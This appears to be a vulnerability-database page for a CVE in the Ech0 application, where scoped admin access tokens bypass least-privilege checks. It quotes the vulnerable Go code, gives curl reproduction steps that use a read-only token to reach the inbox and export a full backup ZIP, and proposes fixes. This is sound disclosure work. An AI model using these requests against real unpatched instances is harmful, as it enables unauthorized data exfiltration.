CVE-2026-79667High· 7.6▾ TwilightEch0: Scoped admin access tokens can bypass least-privilege controls on privileged endpoints, including backup export
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 41.8 · likelihood 0 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Aug 27.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
0.2%
Ech0 scoped access tokens do not reliably enforce least privilege: multiple privileged admin routes omit scope checks, and the backup export handler strips token scope metadata entirely, allowing a low-scope admin access token to reach broader admin functionality than intended.
An attacker who obtains a deliberately limited access token for an admin account can use that token to access privileged functionality outside its assigned scope. Confirmed impact includes access to /api/inbox with a token scoped only for echo:read and successful backup export via /api/backup/export?token=..., which returns a full ZIP archive. In practice, this turns a narrowly delegated API token into a broader privileged access and data exfiltration primitive.
The issue is caused by a split authorization model:
JWTAuthMiddleware() authenticates the token and stores scope metadata in the viewer contextRequireScopes(...) enforces least privilege, but only when a route explicitly adds itRequireScopes(...)user.IsAdmininternal/middleware/scope.go shows that scope enforcement is opt-in:
func RequireScopes(scopes ...string) gin.HandlerFunc {
return func(ctx *gin.Context) {
v := viewer.MustFromContext(ctx.Request.Context())
if v.TokenType() == authModel.TokenTypeSession {
ctx.Next()
return
}
if v.TokenType() != authModel.TokenTypeAccess { ... }
if !containsValidAudience(v.Audience()) { ... }
if !containsAllScopes(v.Scopes(), scopes) { ... }
ctx.Next()
}
}
Representative privileged routes omit RequireScopes(...), for example internal/router/inbox.go:
func setupInboxRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {
appRouterGroup.AuthRouterGroup.GET("/inbox", h.InboxHandler.GetInboxList())
appRouterGroup.AuthRouterGroup.GET("/inbox/unread", h.InboxHandler.GetUnreadInbox())
appRouterGroup.AuthRouterGroup.PUT("/inbox/:id/read", h.InboxHandler.MarkInboxAsRead())
appRouterGroup.AuthRouterGroup.DELETE("/inbox/:id", h.InboxHandler.DeleteInbox())
appRouterGroup.AuthRouterGroup.DELETE("/inbox", h.InboxHandler.ClearInbox())
}
Other source-confirmed unguarded privileged surfaces include:
/api/panel/comments*/api/addConnect/api/delConnect/:id/api/migration/*/api/backup/exportService-layer authorization often checks only admin role. For example, internal/service/inbox/inbox.go:
func (inboxService *InboxService) ensureAdmin(ctx context.Context) error {
userid := viewer.MustFromContext(ctx).UserID()
user, err := inboxService.commonService.CommonGetUserByUserId(ctx, userid)
if err != nil {
return err
}
if !user.IsAdmin {
return errors.New(commonModel.NO_PERMISSION_DENIED)
}
return nil
}
The backup export path is a stronger variant because it discards token metadata before authorization. internal/handler/backup/backup.go reparses a query token and rebuilds a bare viewer from only the user ID:
func (backupHandler *BackupHandler) ExportBackup() gin.HandlerFunc {
return res.Execute(func(ctx *gin.Context) res.Response {
token := ctx.Query("token")
claims, err := jwtUtil.ParseToken(token)
if err != nil { ... }
reqCtx := viewer.WithContext(context.Background(), viewer.NewUserViewer(claims.Userid))
if err := backupHandler.backupService.ExportBackup(ctx, reqCtx); err != nil { ... }
return res.Response{Msg: commonModel.EXPORT_BACKUP_SUCCESS}
})
}
This drops token type, scopes, audience, and token ID before the backup service runs.
docker run -d \
--name ech0 \
-p 6277:6277 \
-v /opt/ech0/data:/app/data \
-e JWT_SECRET="Hello Echos" \
sn0wl1n/ech0:latest
curl -sS -X POST "http://127.0.0.1:6277/api/init/owner" \
-H 'Content-Type: application/json' \
-d '{"username":"owner","password":"ownerpass","email":"[email protected]"}'
owner_token=$(
curl -sS -X POST "http://127.0.0.1:6277/api/login" \
-H 'Content-Type: application/json' \
-d '{"username":"owner","password":"ownerpass"}' \
| sed -n 's/.*"data":"\([^"]*\)".*/\1/p'
)
low_scope_admin_token=$(
curl -sS -X POST "http://127.0.0.1:6277/api/access-tokens" \
-H 'Content-Type: application/json' \
-H "Authorization: Bearer $owner_token" \
-d '{"name":"echo-read-only","expiry":"8_hours","scopes":["echo:read"],"audience":"cli"}' \
| sed -n 's/.*"data":"\([^"]*\)".*/\1/p'
)
curl -sS "http://127.0.0.1:6277/api/inbox" \
-H "Authorization: Bearer $low_scope_admin_token"
Observed response:
{"code":1,"msg":"获取收件箱成功","data":{"total":0,"items":[]}}
curl "http://127.0.0.1:6277/api/backup/export?token=$low_scope_admin_token"
Observed response:
<img width="585" height="111" alt="image" src="https://github.com/user-attachments/assets/28dd7037-163b-4d7c-8994-a719220b3a6c" />Try to unzip we will have log and database file:
->% unzip a.zip -d a
Archive: a.zip
inflating: a/app.log
inflating: a/ech0.db
Apply scope enforcement to every privileged route, move backup export behind the authenticated router group, and preserve the existing authenticated viewer context instead of rebuilding identity from raw JWT claims.
Suggested route-level changes:
import (
"github.com/lin-snow/ech0/internal/handler"
"github.com/lin-snow/ech0/internal/middleware"
authModel "github.com/lin-snow/ech0/internal/model/auth"
)
func setupInboxRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {
appRouterGroup.AuthRouterGroup.GET(
"/inbox",
middleware.RequireScopes(authModel.ScopeAdminSettings),
h.InboxHandler.GetInboxList(),
)
// Apply the same pattern to the remaining inbox routes.
}
func setupCommonRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {
appRouterGroup.AuthRouterGroup.GET(
"/backup/export",
middleware.RequireScopes(authModel.ScopeAdminSettings),
h.BackupHandler.ExportBackup(),
)
}
Suggested handler fix for internal/handler/backup/backup.go:
func (backupHandler *BackupHandler) ExportBackup() gin.HandlerFunc {
return res.Execute(func(ctx *gin.Context) res.Response {
if err := backupHandler.backupService.ExportBackup(ctx, ctx.Request.Context()); err != nil {
return res.Response{
Msg: "",
Err: err,
}
}
return res.Response{
Msg: commonModel.EXPORT_BACKUP_SUCCESS,
}
})
}
The same principle should be applied to other privileged services: do not authorize only on user.IsAdmin; also validate scopes carried by access tokens.
github.com/lin-snow/ech0 < 4.3.5Upgrade to a patched release:
github.com/lin-snow/ech0 4.3.5Connected by shared product, vendor, weakness, or advisory.
CVE-2026-79666Medium· 6.5Ech0: Missing authorization on dashboard log endpoints allows low-privilege users to access sensitive system logs
CVE-2026-79669Medium· 4.3Ech0's Missing Authorization on System Logs Allows Non-Admin Information Disclosure
CVE-2026-79660Medium· 5.3Ech0 comment model's Email field returned on public /api/comments endpoints
CVE-2026-79668Medium· 5.3Ech0's Unauthenticated Like Endpoint Enables Arbitrary Engagement Metric Inflation
CVE-2026-79671Medium· 5.5Ech0 has SSRF via DNS Resolution Bypass in Webhook URL Validation
CVE-2026-79661Medium· 6.5Ech0 allows PUT /api/echo/like/:id unauthenticated: anonymous callers to modify any echo's fav_count